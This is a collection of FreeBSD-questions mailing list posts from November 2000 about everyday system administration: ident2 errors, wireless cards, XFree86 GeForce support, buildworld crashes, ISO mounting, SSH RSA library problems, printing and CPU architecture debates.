> `In fact, someone here (wasn't it here)
> recently provided a pointer to an AT&T page on Unix history, wherein
> one specific person was creditied with making sure that all programs
> on Unix had man pages - and even to getting some programs rewritten to
> be up to the standards for the man pages.
> 
> Now disk space being costly may well be why the original Unix man
> pages weren't formated, but kept on disk in nroff form and formatted
> when you read them.
> 

	When a fellow student griped that the man pages were hard 
	to understand, our prof said something like, "Tough; get 
	used to it because that's how it'll always be with man pages.
	They are summaries, not tutorials."  This was in 1978 and 
	since both disk and RAM has gotten *way* cheaper, it seems
	to me that paradigm should change.  Sure, give me the summary
	of flags up-front-and-terse.  But examples or hyperlinks to
	examples and perhaps a tutorial sure wouldn't hurt.

	gary




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Has anyone gotten this card working on a 3.5.1R system or beyond??  I'm
looking  to
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Thanks for any info.

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I am a long time user of FreeBSD and I am not running with Version 4.1 .
Recently I thought I would help others out on IRC ...  something I have
never used befor...  so I get BitchX up and running..  trivial..  but the
identd daemon is not running so many servers will not let me connect..  I
wish to remedy this so I see I can build the ident2 from the ports
collection only after this is done I get the following error when I try to
run it...

from command line:

error: binding to port 113: bind (): No such file or directory...

anyone seen this befor?  I hope so...

lates

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Dmitry,

On Fri, Nov 03, 2000 at 01:00:15PM +0100, Dmitry Karasik wrote:

>  Matthew> FreeBSD asks you what shell you want when you boot single-user.
>  Matthew> It defaults to /bin/sh.  You will not screw yourself by setting
>  Matthew> root's shell to /usr/local/bin/wackysh.  
> 
> Unless your /usr is on a different partition.

No, you still don't screw yourself.  If you can't mount /usr for
some reason, then you're going to be in single-user mode and you run
/bin/sh or whatever instead.  My point was that root's shell in
/etc/passwd has no effect on single-user mode.

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You can also run a shell from /stand.

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On Fri, 3 Nov 2000, Matthew Hunt wrote:

> Dmitry,
> 
> On Fri, Nov 03, 2000 at 01:00:15PM +0100, Dmitry Karasik wrote:
> 
> >  Matthew> FreeBSD asks you what shell you want when you boot single-user.
> >  Matthew> It defaults to /bin/sh.  You will not screw yourself by setting
> >  Matthew> root's shell to /usr/local/bin/wackysh.  
> > 
> > Unless your /usr is on a different partition.
> 
> No, you still don't screw yourself.  If you can't mount /usr for
> some reason, then you're going to be in single-user mode and you run
> /bin/sh or whatever instead.  My point was that root's shell in
> /etc/passwd has no effect on single-user mode.
> 
> -- 
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> http://www.pobox.com/~mph/           * intellect. -J.R. Mashey
> 
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Whenever I see this error it usually means that ident2 is already running
and you're trying to bind it to that address again..

run ps -ax
and check if it's already running

also, the easiest command options to use are:

ident2 -r

This will send a random reply back to the ident request...

RSN

On Fri, 3 Nov 2000, Raymond Hicks wrote:

> I am a long time user of FreeBSD and I am not running with Version 4.1 .
> Recently I thought I would help others out on IRC ...  something I have
> never used befor...  so I get BitchX up and running..  trivial..  but the
> identd daemon is not running so many servers will not let me connect..  I
> wish to remedy this so I see I can build the ident2 from the ports
> collection only after this is done I get the following error when I try to
> run it...
> 
> from command line:
> 
> error: binding to port 113: bind (): No such file or directory...
> 
> anyone seen this befor?  I hope so...
> 
> lates
> 
> raymond hicks
> 
> 
> 
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Charlie Root <joshg@tampabay.rr.com> wrote:

> I am trying to use a lucent wavelan IEEE NIC on my freebsd 4.1 system.
> your website says it is supported but my machine doesnt seem to
> agree...any tips on getting this thing to work with my computer....if
> you could point me in the direction of any one that can help me in would
> be greatly appreciated....

     It's for FreeBSD 4.0, but check out the old, never-finished WaveLan
howto at:

	ftp://ftp.sonic.net/pub/users/darrylo/freebsd/wavelan

Note that it's out-of-date and probably contains some inaccurate
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I've noticed that I will often have blackout periods where I receive
nothing from this mail list.  This can last for a few hours or a day
or more.  I can receive mail from other sources - both local and
outside, just not from the list.  Is this normal or do I have something
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Just curious - Thanks

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That may work... I don't know, the cvs version worked for me... however, I
used cvsup to get my tree... I've had problems with cvs under certain
situations doing stuff wrong... cvsup always works though. :-)


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| Unix Systems Administrator  | ICQ #: 24767726                 |
| and student at The          | AIM: muythaibxr                 |
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On Fri, 3 Nov 2000, Ernst de Haan wrote:

> Heya Kenneth,
> 
> Thanks very much for the kind reply! I checked out xfree86.org/cvs and I
> downloaded the `xc' repository. I followed the instructions in INSTALL.TXT.
> When I try to make it, it fails, with the following messages:
> 
>    including in lib/GLw...
>    make: don't know how to make /main/gfx/lib/glw/GLwDrawA.h. Stop
>    *** Error code 2
> 
> I guess that file is missing. I tried another cvs update -d, but no luck. I'm
> now following a different lead, provided by Pete Young. He writes:
> 
> > Support for the Geforce 2 has not been included with the latest release of
> > XFree86 yet but it has been added to the CVS repository.
> > 
> > I used the FreeBSD port system to build it.  Here are the steps that worked.
> > 
> >         cd /usr/ports/x11/XFree86-4
> >         make patch
> > 
> > I then copied these files from the XFree86 anoncvs repository to the same
> > directories under /usr/ports/x11/XFree86-4/work/
> > 
> >         xc/programs/Xserver/hw/xfree86/common/xf86PciInfo.h
> >         xc/programs/Xserver/hw/xfree86/drivers/nv/nv_driver.c
> >         xc/programs/Xserver/hw/xfree86/drivers/nv/nv_include.h
> >         xc/programs/Xserver/hw/xfree86/drivers/nv/nv_local.h
> >         xc/programs/Xserver/hw/xfree86/drivers/nv/nv_type.h
> >         xc/programs/Xserver/hw/xfree86/drivers/nv/riva_tbl.h
> >         xc/programs/Xserver/hw/xfree86/drivers/nv/nv_xaa.c
> > 
> > Edit nv_include.h and remove the line   #include "vbe.h"  .  Finish
> > with
> > 
> >         cd /usr/ports/x11/XFree86-4
> >         make install
> >         XFree86 -configure
> 
> I'll let you know what the result is. Thanks again!
> 
> _
> O o
>  |    Ernst
> \_/
> 
> 
> Kenneth Wayne Culver wrote:
> > Yeah, I'm using it no problem with Xfree86 4.0.1c (cvs version... kinda
> > like a -CURRENT for XFree86) and it works perfectly... except if u switch
> > virtual terminals... then when u switch back to the X VT the mouse won't
> > move.
> > 
> > 
> > =================================================================
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> > | and student at The          | AIM: muythaibxr                 |
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> > | College Park.	              | http://www.wam.umd.edu/~culverk/|
> > =================================================================
> > 
> > On Thu, 2 Nov 2000, Ernst de Haan wrote:
> > 
> > > Hi,
> > > 
> > > After the problems I head with my upgrade from XFree86 3.3.6 to 4.0.1 (using
> > > the port, on an NVidia TNT card) I cvsupdated my sources, made world,
> > > recompiled and -installed kernel, etc. No luck. Recompiled the port, no luck.
> > > So I tried running it with an NVidia TNT2 card. No luck.
> > > 
> > > At the moment, I exchanged the TNT2 card for a GeForce 2 MX, and I downloaded
> > > a binary distro from xfree86.org. Guess what? The Geforce 2 isn't supported
> > > yet :-/
> > > 
> > > Does any1 have experience with using a GeForce 2 (MX) card with XFree86 ?
> > > 
> > > --
> > > Ernst
> > > 
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> Date: Fri, 03 Nov 2000 08:49:17 +0000
> From: Sperber <sperber@w3.brgkepler.asn-graz.ac.at>
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> 
> a did:
> make buildworld
> and then somewhen i got the the error
> cc internal error got signal 4 (or something like that)
> Then i wanted to compile the directories on it's own - and for example in the
> directory i got the error everythind worked - but i got other errors (in other
> directories...) (for example missing des.h file - and i tried to install that but it
> didn't work neither...)
> So I decided to wait for 4.2 RELEASE and reinstall the system...

A signal 4 while building world is almost certainly a hardware
problem. Waiting on 4.2 release is not likely to make a difference. If
you have a K6 CPU, it's probably a CPU problem and, if it never shows
up during normal operations, it's probably temperature. Buildworld
heats up a CPU better than anything I have ever done. If your mobo has
thermal sensors, install healthd from ports and monitor the
temperature during the build.

If it's getting hot (much over 40 C), make sure your heatsink is
properly coated with silicon grease. Until I did that, I could not
buildworld without getting a signal 4.

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On Thu, 02 Nov 2000, jmelesky@dynamictrade.com wrote:
> > Has anyone installed Oracle 8 (Linux) version on FreeBSD?  If so, I
> > need to know the install process for this installation.
> 
> I'm in the same boat -- i've heard great (well, ok, good, or at least
> decent) things about running Oracle/Linux on FreeBSD, but haven't
> actually gone through the install. Today my boss turned around and
> told me to do it. Are there any howtos? Any help would be appreciated.
> 
> -johnnnnnnn

I haven't tried it, but I would begin by checking that I had the Linux
emulation installed and running (see Lehey's book, ch. 20) and try installing
it. If you have problems -- or success -- contact Oracle 
(http://www.oracle.com/iplatform/linux/). The more of use who speak up, the
more likely we will see http://www.oracle.com/iplatform/freebsd/.

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Chris wrote:
> 
> Hi Folks,
> 
> I got a single, small BSD box set up and running in a local network. I
> plan to use it for backup purposes. Unfortunately, this box sports no
> SCSI interface. Everything has to be done the cheap way.
> 
> Can anybody speak up how to backup (preferably using Amanda) to any
> ATAPI or USB drive?
> 
> Thanks for your recommendations
> -Christoph Sold
> P.S: Yes, i know, SCSI cards _are_ cheap... but I want to check out
> alternatives first.
> -- 

Chris, 

I'm by no means an authority, but I choose to backup my systems to
harddrives in two dedicated backup PC's. I added two 20GB HD to two 
old 80486s.  You can't beat the cost/MB ratio of an IDE harddrive.  
I backup to one machine one day, the other the next.  Of course, 
I had old 486's lying around so the only cost involved was the drives 
themselves.  

Regards,
Doug 


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On Thu, 02 Nov 2000, Igor Roboul wrote:

> Ok, I'll try be polite, BUT ....
> why you just didn't go http://www.freebsd.org and in search field didn't
> wrote Oracle and hit Enter?
> Why? Why? Why? 

Sounds like material for a folk-rock ballad. "Why oh why, oracle? Ora-ora-ora"

Speaking of "oracle," how long are we going to have to wait until someone
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I love tradition, but I like new stuff, too. Call me crazy.

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Since its introduction in 1992, the DEC Alpha has always been the fastest
processor, with only Hewlett Packard coming close. Since the demise of DEC,
development continues, but for it to maintain its lead throughout this
coming decade will depend on the continuing support of IBM, whose long-term
commitment is unknown.

For the prices on new Alphas, I quote the following from www.microway.com :

"From the 533-LX Performance Value to the 667MHZ SuperCache-8, Microway is
your best source for high-performance Alpha LX Workstations and Servers. LX
provides the most cost-effective platform for Tru64 UNIX and Linux. Prices
start at $1,995."

Yes, an Athlon 600 is cheaper than an Alpha 21164 533 MHz, and about half as
fast.

I am afraid there is a little more to porting an OS than having gcc for the
processor, especially as FreeBSD is not optimized for portability. FreeBSD
will be ported to the Itanium if people want to make the considerable
effort. So far the Itanium has been all promises and no substance.

Paul Smith

> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Allen Landsidel
> Sent: Saturday, 28 October, 2000 08:55 AM
> To: Heredity Choice; Nick Slager; jadream
> Cc: freebsd-questions@FreeBSD.ORG
> Subject: RE: FBSD & Itanium?
>
>
> At 07:48 10/28/2000 -0700, Heredity Choice wrote:
> >Predictions I have seen suggest that the Itanium will be nowhere near as
> >fast as the DEC/Samsung/Compaq/IBM Alpha, but will be much more
> expensive to
> >manufacture.
> >
> >IBM has an Alpha prototype running at 1200 MH. To do the same amount of
> >work, an Athlon would have to run at about 2400 MH.
>
> Just as a little FYI, here are come current numbers.
>
> 21164 Alpha @ 600MHz : 18.8 SpecInt, 29.0 SpecFP.
> 21264 Alpha @ 575MHz : 25.9 SpecInt, 40.9 SpecFP.
> Athlon @ 600MHz : 28.0 SpecInt, 22 SpecFP.
> PIII @ 600MHz : 24.0 SpecInt, 15.9 SpecFP.
>
> Those numbers are for BASE processors.. The original K7 Athlon, and the
> Katmai core PIII.
> For the Thunderbird I wasn't able to find any scores, and the other P III
> scores for the coppermine core aren't that much different from
> the Katmai core.
>
> The 21364 Alpha (not in production yet) is running at 1.2GHz,
> SpecInt 75.0,
> SpecFP 160.0 (estimated speeds.)
> That is probably the Alpha you're talking about, and it's a ways off in
> production.  For timeframe purposes, it's pointless to compare it to any
> x86 machine available now, as by the time that is out, the
> Sledgehammer/Clawhammer (K8-64bit) processors, as well as the
> Willamette/Foster/Etc (IA-64 - P7) processors should be out.
>
> You have to always keep in mind floating-point vs. integer math as well..
> other considerations such as price/performance etc are kind of
> moot I guess
> here, considering the absurd direction this email is taking..
>
>
> >The lineup of Alphas currently produced range from a Microway workstation
> >for about $2000 to a Compaq cluster being developed for the U.S.
> Government
> >which will be the most powerful computer in the world.
>
> A Microway 21264 workstation (single processor) with a 667MHz
> processor and
> 128MB of memory is $8,500, not $2,000.  A dual 500 21264 is $13,000.  On
> that note, a 1GHz Athlon system from the same company is $3,300, with
> 512MB.  So, maybe yes an Athlon system will have to be twice as fast MHz
> wise as an Alpha to be equally as fast in benchmarks, but who cares if it
> still costs only 1/3 as much?  To equip the Alpha with memory is
> not cheap
> either, considering that it's nearly 3x as expensive as PC133 memory for
> the Athlon.
>
> Currently #1 system is the ASCI White at LLNL, 12 Trillion
> ops/sec, and is
> a cluster of 8,192 RS/6000 processors.  Plans to extend this to the 30
> Teraflop range are on track for next year, with plans for 100 Teraflop
> range for ~ 2003.
>
> www.llnl.gov/asci for more information.
>
> The machine you're talking about is ASCI Q, and as usual with your
> statements in this email.. does not exist yet.  It is not going to exist
> until 2004 (scheduled), and is going to be roughly the same speed as ASCI
> White in 2003.
>
> http://www5.compaq.com/hpc/tsn/iss017/hptc_iss017_fa.html#1
>
>
>
> >The best news is that most of the single-processor Alphas already are
> >equipped to run FreeBSD. Apple's Darwin, with its microkernel,
> should be an
> >easy port to the multiprocessor Alpha and the Alpha clusters.
> >
> >I have just acquired an Alpha EB164 for 5% of its cost new 5
> years ago. The
> >only hardware incompatible with FreeBSD was the video card, which has no
> >driver in XFree86 4.01 and has swapped places with the card in my Windows
> >box.  From the same period, a Deskstation Raptor, a DEC XL or a
> DEC XLT will
> >not run FreeBSD.
>
> All in all, this was a really long and stupid email that had
> nothing to do
> with answering the simple question asked, which was just about IA-64
> support in FreeBSD.  I would say this, if Linux is going to support it,
> then it'll be a compiler option in gcc.  If that is the case,
> then FreeBSD
> will be supporting it as well, unless something drastic happens
> in the near
> future.
>
> -- Proud owner of a 600MHz Athlon, 512MB of memory, all Ultra/160 SCSI, A
> 19" monitor, a GeForce256, and other misc options that all together still
> cost me about 1/4 what a similarly equipped Alpha would have cost. --
>
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> unreliable. Microsoft is really unreliable but Linux is worse."
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Doug Poland schrieb:
> 
> Chris wrote:
> >
> > Hi Folks,
> >
> > I got a single, small BSD box set up and running in a local network. I
> > plan to use it for backup purposes. Unfortunately, this box sports no
> > SCSI interface. Everything has to be done the cheap way.
> >
> > Can anybody speak up how to backup (preferably using Amanda) to any
> > ATAPI or USB drive?
> >
> > Thanks for your recommendations
> > -Christoph Sold
> > P.S: Yes, i know, SCSI cards _are_ cheap... but I want to check out
> > alternatives first.
> > --
> 
> Chris,
> 
> I'm by no means an authority, but I choose to backup my systems to
> harddrives in two dedicated backup PC's. I added two 20GB HD to two
> old 80486s.  You can't beat the cost/MB ratio of an IDE harddrive.
> I backup to one machine one day, the other the next.  Of course,
> I had old 486's lying around so the only cost involved was the drives
> themselves.

Thanks, Doug, that's a good idea. Anyhow, I need something for offsite
storage. CD-R, tape, whatever: only it should not involve SCSI. Any
opinions?

-Christoph


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On Thu, Nov 02, 2000 at 10:46:46PM -0500, Peter Schwenk scribbled:
| Hello:
|
| I'm attempting to use a freebsd 4.1-R box as a base station.  The box
| has another ethernet board hooked up to a cable modem.  The box
| currently works as a home router to a wired network, but I'm hoping to
| replace the wires with Orinoco cards, which I've already purchased.  The
| freebsd box has the ISA adapter from Lucent, which gets recognized by
| the kernel.  When the card is inserted into the adapter, the pccard
| service complains about not having an entry in the database for card
| "(null)" ("(null)").  It's as if the orinoco card isn't advertising
| itself as any card at all.  Does anyone know what might be going wrong?


Please read :
http://www.geocrawler.com/lists/3/FreeBSD/163/0/3788553/
You have an iomem conflict. (like I did a few days ago)

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Upon further research, it seems to be a problem with the images
themselves, because some images mount just fine and others don't.  I think
I'll try to get one of the images that doesn't work burned onto a CD.  If
that doesn't work (which wouldn't surprise me) then I know that the
problem doesn't lie in FreeBSD.

Pete

On Fri, 3 Nov 2000, Odhiambo Washington wrote:

> * Peter Johnson <tam@hiddenrock.com> [20001103 02:13]:
> =>I'm trying to mount an ISO file, and I'm getting errors, any help would be
> =>appreciated.  Here are the commands I'm running:
> =>
> =>vnconfig /dev/vn0c /tmp/image.iso
> =>mount -t cd9660 /dev/vn0c /mnt
> =>
> =>The call to "mount" is exiting and telling me: "cd9660: Invalid
> =>argument".  I've tried calling mount_cd9660 manually and it doesn't
> =>provide any more useful information.
> 
> I was able to do it from info I got from the list.
> First i compiled a kernel with 
> 
> pseudo-device vn
> Then I followed commands like you used....that is in 3.5_STABLE
> vnconfig /dev/vn0c /usr/local/FreeBSD/4.1-install.iso
> mount_cd9660 /dev/vn0c /mnt/
> 
> And it still works for me ;-)
> 
> Hope that helps.
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Recently (the past few days), this error has popped up everytime i try to change any passwords on my system:

[root@as-03] [11/03/2000 13:20]
-[130 ttyp0]-[ /usr/src/secure # passwd xxxxxx
Changing local password for xxxxxx.
New password:
Retype new password:
passwd: cannot set password cipher: Undefined error: 0
passwd: /etc/master.passwd: unchanged

4.1.1-STABLE md5 passwords, and it seems as though my libcrypt's are symlinked properlly:

-[133 ttyp0]-[ /usr/src/secure # ll /usr/lib/libcrypt*
lrwx------  1 root  wheel       11 Nov  3 11:32 /usr/lib/libcrypt.a@ -> libscrypt.a
lrwx------  1 root  wheel       12 Nov  3 11:32 /usr/lib/libcrypt.so@ -> libscrypt.so
lrwx------  1 root  wheel       14 Nov  3 11:32 /usr/lib/libcrypt.so.2@ -> libscrypt.so.2
lrwxr-xr-x  1 root  wheel       13 Jul 12 19:29 /usr/lib/libcrypt_p.a@ -> libscrypt_p.a
-r--r--r--  1 root  wheel  1314488 Sep 29 09:14 /usr/lib/libcrypto.a
lrwxr-xr-x  1 root  wheel       14 Sep 29 09:14 /usr/lib/libcrypto.so@ -> libcrypto.so.1
-r--r--r--  1 root  wheel   810516 Sep 29 09:14 /usr/lib/libcrypto.so.1
-r--r--r--  1 root  wheel  1173232 Jul 12 02:42 /usr/lib/libcrypto_p.a

I've rebuilt from sources: passwd, libcrypt, libcipher, libcrypto.

But i'm not exactly sure how to toubleshoot this problem further.  Could anyone be of any assistance?

TIA

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Fbsd 4.1.1 and trying to natd redirect_address <private ip> <public IP>
It just won't go, I've set it exactly like my working ver 3.4 Fbsd box wi=
th=20
redirect.
I'm guessing it's something in the firewall (but its the same as the 3.4 =
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On Fri, 03 Nov 2000, Levi Becerra wrote:
> 
> Hello FreeBSD team, I've been planning to install FreeBSD in my company as Network and mail server and I'm going to have windows 2000 in my workstation with Outlook also.
> 
> I'd like to know what I need to do so, I'm new in FreeBSD software.
> 

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You will certainly want samba. I have used it in a Windows NT network for
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System: FreeBSD 4.1.1 release
Target: remote printer (Canon GP 555V)

Summary: I get printing jobs nicely into queue, but I can seem to get
daemon to push queue into printer. Here is quick example:
essrv103nok149116# lpc restart essatb4b2
essatb4b2:
	no daemon to abort
essatb4b2:
	daemon started
essrv103nok149116# lpq -Pessatb4b2     =20
essrv103nok149116.ntc.nokia.com: Warning: no daemon present
Rank   Owner      Job  Files                                 Total Size
1st    jylitalo   0    foo.ps                                71160 bytes

no entries
essrv103nok149116#=20

foo.ps was created with "mpage -ba4 .profile > foo.ps"

I am going to post some additional information into this post so that
you would get at least some kind of idea about how things are
currently setup. All input/ideas are appreciated.... Here is the
promised additional information:

lpd is enabled and running:

essrv103nok149116# ps aux | grep lpd
root       705  0.0  0.5  1040  616  p1  S+    9:17PM   0:00.00 grep lpd
root       172  0.0  0.5   920  640  ??  Is    7:41PM   0:00.01 /usr/sbin/l=
pd
essrv103nok149116#=20

Queue should be correctly defined in printcap and spool dirs
exist. Printcap entry was verified by printing=20
"rlpr -P print@essatb4b2 foo.ps" in Linux machine.

Here is printcap and spooldirs:
essrv103nok149116# tail /etc/printcap
lp|essatb4b1:\
	:rp=3Dprint:rm=3Dessatb4b1:\
	:sd=3D/var/spool/output/essatb4b1:lf=3D/var/log/lpd-errs:
essatb4b2:\
	:rp=3Dprint:rm=3Dessatb4b2:\
	:sd=3D/var/spool/output/essatb4b2:lf=3D/var/log/lpd-errs:
essrv103nok149116# ls -la /var/spool/output/essatb4b2/
total 74
drwxrwxr-x  2 root      daemon    512 Nov  3 19:40 .
drwxr-xr-x  5 root      daemon    512 Nov  3 16:28 ..
-rw-r----x  1 root      daemon      4 Nov  3 19:40 .seq
-rw-rw----  1 daemon    daemon    180 Nov  3 19:40 cfA000essrv103nok149116.=
ntc.nokia.com
-rw-rw----  1 jylitalo  daemon  71160 Nov  3 19:40 dfA000essrv103nok149116.=
ntc.nokia.com
-rw-rw-r--  1 root      daemon     42 Nov  3 21:15 lock
-rw-rw-r--  1 root      daemon     21 Nov  3 21:15 status
essrv103nok149116#=20

What comes to log files, /var/log/lpd-errs and /var/log/messages don't
show up anything interesting that would explain things.

And as last bit of information:
essrv103nok149116# ls -l /usr/sbin/lp*
-r-xr-sr-x  1 root  daemon  26784 Nov  3 18:09 /usr/sbin/lpc
-r-xr-xr-x  1 root  wheel   54136 Nov  3 18:09 /usr/sbin/lpd
-r-xr-xr-x  1 root  wheel    3576 Nov  3 18:09 /usr/sbin/lptcontrol
-r-xr-xr-x  1 root  wheel    3416 Nov  3 18:09 /usr/sbin/lptest
essrv103nok149116#=20

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What is the difference between libc and libc_r?  If I recompile them, would 
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One thing, show us your firewall rules, maybe those got messed up somehow
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On Fri, 3 Nov 2000, j telford wrote:

> Fbsd 4.1.1 and trying to natd redirect_address <private ip> <public IP>
> It just won't go, I've set it exactly like my working ver 3.4 Fbsd box with 
> redirect.
> I'm guessing it's something in the firewall (but its the same as the 3.4 too) 
> I'd love to be able to see whats happening as the rules process How How How ???
> Can you sense I'm desperate here ? Thanks. John...
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greetz all...

I installed the xmovie port and both the make and the make install went
smoothly.  Now, when I try to run it I get an error...

poomba:/usr/X11R6/bin $ xmovie
xmovie: error in loading shared libraries: libglib-1.2.so.0: ELF file ABI version invalid.

poomba:/usr/X11R6/bin $ ldd xmovie
xmovie:
xmovie: error in loading shared libraries: libglib-1.2.so.0: ELF file ABI version invalid.
xmovie: exit status 127

Has anyone seen this/fixed this?  Do you need some more info?  

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On Wed, Nov 01, 2000 at 11:47:20PM -0800, Crist J . Clark wrote:

# > Basically what I'm trying to do is setup a non-interactive
# > script that edits my crontab.  When I type the following
# > commands in it comments out the first entry.  However, when
# > I run it by redirecting stdin from a file it doesn't work.
# > >From the looks of it (note the 37 -> 38 change) the file
# > is being updated but crontab is ignoring the change.
# 
# Don't ask me why, but try this,
# 
#   $ { echo '1s/^/#/'; echo w; } | env VISUAL=/bin/ed crontab -e
# 
# And see what happens. (Just lost the 'q.')

I've tried this on several different boxes and it didn't
work.  Does this work on your box?

Thanks for the reply.

-steve


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Hello!

[Sorry for the long mail. Since it is a repeat question, and one for which
I see no soln. on the list, I put together quite a bit of infomation.]

I have the same problem as was discussed in 

date: Sun, 03 Sep 2000 17:59:34 +0900 (JST)
from: Marty Cawthon <mrc@ChipChat.ne.jp>
subject: "Re: SSH fails for user, but succeeds for root"
message-id:  <20000903175934R.mrc@ChipChat.ne.jp>

on this list. The differece I see is that I have 4.1.1-RELEASE installed;
so /usr/lib/libssl.a as well as /usr/lib/libcrypto.a have RSA in them (and,
of course, no /usr/lib/librsa*). Both have 444 permissions. Still only 
root can use ssh.

As su - I get:

vasantam# ssh -v pal -l dhani
SSH Version OpenSSH-2.1, protocol versions 1.5/2.0.
Compiled with SSL (0x0090581f).
debug: Reading configuration data /etc/ssh/ssh_config
debug: ssh_connect: getuid 0 geteuid 0 anon 0
debug: Connecting to pal.ece.iisc.ernet.in [144.16.64.149] port 22.
debug: Allocated local port 1011.
debug: Connection established.
debug: Remote protocol version 1.5, remote software version OpenSSH-1.2
debug: Local version string SSH-1.5-OpenSSH-2.1
debug: Waiting for server public key.
debug: Received server public key (768 bits) and host key (1024 bits).
The authenticity of host 'pal.ece.iisc.ernet.in' can't be established.
RSA key fingerprint is b2:b2:b8:ac:81:ab:d1:eb:de:50:34:b0:6f:1f:7e:9f.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'pal.ece.iisc.ernet.in' (RSA) to the list of
known hosts.
debug: Encryption type: 3des
debug: Sent encrypted session key.
debug: Installing crc compensation attack detector.
debug: Received encrypted confirmation.
debug: Doing password authentication.
dhani@pal.ece.iisc.ernet.in's password: 
debug: Requesting pty.
debug: Requesting shell.
debug: Entering interactive session.
Last login: Fri Nov  3 23:59:38 2000 from vasantam.pal.ece

But as myself I see:

[dhani@vasantam:p1 ~]% ssh -v pal -l dhani
SSH Version OpenSSH-2.1, protocol versions 1.5/2.0.
Compiled with SSL (0x0090581f).
debug: Reading configuration data /etc/ssh/ssh_config
ssh: no RSA support in libssl and libcrypto.  See ssl(8).
Disabling protocol version 1
debug: ssh_connect: getuid 0 geteuid 0 anon 0
debug: Connecting to pal.ece.iisc.ernet.in [144.16.64.149] port 22.
debug: Allocated local port 1010.
debug: Connection established.
debug: Remote protocol version 1.5, remote software version OpenSSH-1.2
Protocol major versions differ: 2 vs. 1
debug: Calling cleanup 0x805b5a4(0x0)

and more:

[dhani@vasantam:p1 ~]% ssh -v vasantam
SSH Version OpenSSH-2.1, protocol versions 1.5/2.0.
Compiled with SSL (0x0090581f).
debug: Reading configuration data /etc/ssh/ssh_config
ssh: no RSA support in libssl and libcrypto.  See ssl(8).
Disabling protocol version 1
debug: ssh_connect: getuid 0 geteuid 0 anon 0
debug: Connecting to vasantam.pal.ece.iisc.ernet.in [144.16.64.246] port 22.
debug: Allocated local port 1009.
debug: Connection established.
debug: Remote protocol version 1.99, remote software version OpenSSH-2.1
Enabling compatibility mode for protocol 2.0
debug: Local version string SSH-2.0-OpenSSH-2.1
debug: send KEXINIT
debug: done
debug: wait KEXINIT
debug: got kexinit: diffie-hellman-group1-sha1
debug: got kexinit: ssh-dss
debug: got kexinit: 3des-cbc,blowfish-cbc,arcfour,cast128-cbc
debug: got kexinit: 3des-cbc,blowfish-cbc,arcfour,cast128-cbc
debug: got kexinit: hmac-sha1,hmac-md5,hmac-ripemd160@openssh.com
debug: got kexinit: hmac-sha1,hmac-md5,hmac-ripemd160@openssh.com
debug: got kexinit: zlib,none
debug: got kexinit: zlib,none
debug: got kexinit: 
debug: got kexinit: 
debug: first kex follow: 0 
debug: reserved: 0 
debug: done
debug: kex: server->client 3des-cbc hmac-sha1 none
debug: kex: client->server 3des-cbc hmac-sha1 none
debug: Sending SSH2_MSG_KEXDH_INIT.
DH_generate_key
debug: Calling cleanup 0x805b5a4(0x0)

I have:

[dhani@vasantam:p1 ~]% ls -l /usr/lib/libssl*
-r--r--r--  1 root  wheel  238240 Sep 26 05:34 /usr/lib/libssl.a
lrwxrwxrwx  1 root  wheel      11 Nov  2 23:19 /usr/lib/libssl.so ->
libssl.so.1
-r--r--r--  1 root  wheel  180928 Sep 26 05:34 /usr/lib/libssl.so.1
-r--r--r--  1 root  wheel  252442 Sep 26 05:34 /usr/lib/libssl_p.a

[dhani@vasantam:p1 ~]% ls -l /usr/lib/libcrypt*
lrwxrwxrwx  1 root  wheel       13 Nov  2 23:19 /usr/lib/libcrypt.a ->
libdescrypt.a
lrwxrwxrwx  1 root  wheel       14 Nov  2 23:19 /usr/lib/libcrypt.so ->
libdescrypt.so
lrwxrwxrwx  1 root  wheel       16 Nov  2 23:19 /usr/lib/libcrypt.so.2 ->
libdescrypt.so.2
lrwxrwxrwx  1 root  wheel       15 Nov  2 23:19 /usr/lib/libcrypt_p.a ->
libdescrypt_p.a
-r--r--r--  1 root  wheel  1275196 Sep 26 05:34 /usr/lib/libcrypto.a
lrwxrwxrwx  1 root  wheel       14 Nov  2 23:19 /usr/lib/libcrypto.so ->
libcrypto.so.1
-r--r--r--  1 root  wheel   781268 Sep 26 05:34 /usr/lib/libcrypto.so.1
-r--r--r--  1 root  wheel  1362554 Sep 26 05:34 /usr/lib/libcrypto_p.a

Please help me resolve this.

Thanks in advance,
Gangadhar.
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On Fri, Nov 03, 2000 at 12:52:46PM +0100, svga wrote:
> Hello,
> 
> How should I change it:
> 
> #dump 0af - / | gzip > /dev/rsa0

what does 'mt status' say?


> gzip: stdout: Invalid argument
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> Yes, an Athlon 600 is cheaper than an Alpha 21164 533 MHz, and about half
as
> fast.
>
> I am afraid there is a little more to porting an OS than having gcc for
the
> processor, especially as FreeBSD is not optimized for portability. FreeBSD
> will be ported to the Itanium if people want to make the considerable
> effort. So far the Itanium has been all promises and no substance.

Why are we comparing 64bit CPUs to 32bit CPUs ?  Apples to Oranges if you
ask me.  I say, wait for the tainted smell of vaporware to disappear, and
see who comes out ahead on the Itainium vs Sledgehammer front.  I believe
for FreeBSD users, Sledgehammer would be the CPU of choice, as AMD claims
that in 32bit mode, it would still be the fastest 32bit x86 processor ever
released, even if you ignore the 64bit mode altogether.  So since FreeBSD is
situated in the x86 architecture quite well, seems like AMD would be the
only option in this next generation of the Intel/AMD offerings.  The Intel
Itainium's core is truly emulating x86 (I know all of today's cpus emulate
CISC with RISC, however, Itainium's focus isn't x86), the Itainium will
certainly perform slower per clock than a Coppermine.  Willamette performs
slower per clock than Coppermine.  So if we say, ok FreeBSD is x86
optimized, what is the x86 cpu market looking like in the next few years,
one has to conclude that the newer AMD offerings, especially the Hammer, are
the cpus of choice for FreeBSD x86 systems.  As for Alpha, I've never used
FreeBSD/Alpha, however, I know Alphas are absolutely awesome.  My question
is, is our Alpha support awesome ?  And are people willing to go Alpha ?
I'm not saying anything against Alpha, I'm just putting forth my opinion
that once it comes out, FreeBSD x86/Hammer combo will be the best option for
FreeBSD x86 users.

Linux will probably come out with both an Itainium and Hammer version.  I
believe both such projects are underway.  But will they be hack jobs or the
real thing ?  FreeBSD x86-64 makes sense, it's just another extention of the
architecture.  Ax8664_CPU  :)

    I have great doubts about willamette and it's design which performs less
per clock than the Coppermine, but allows higher clock speeds.  Remember the
486 DX4 ?  Then comes the Pentium and all those empty mhz the DX4s were
hitting were stomped by a greater design.  Seems to me the idea shouldn't
just be how many gigahertz you can kick, but the design of the core.  If you
could make a 386 that clocked to 3 ghz, I would rather have a Thunderbird
that ran at 1 ghz.

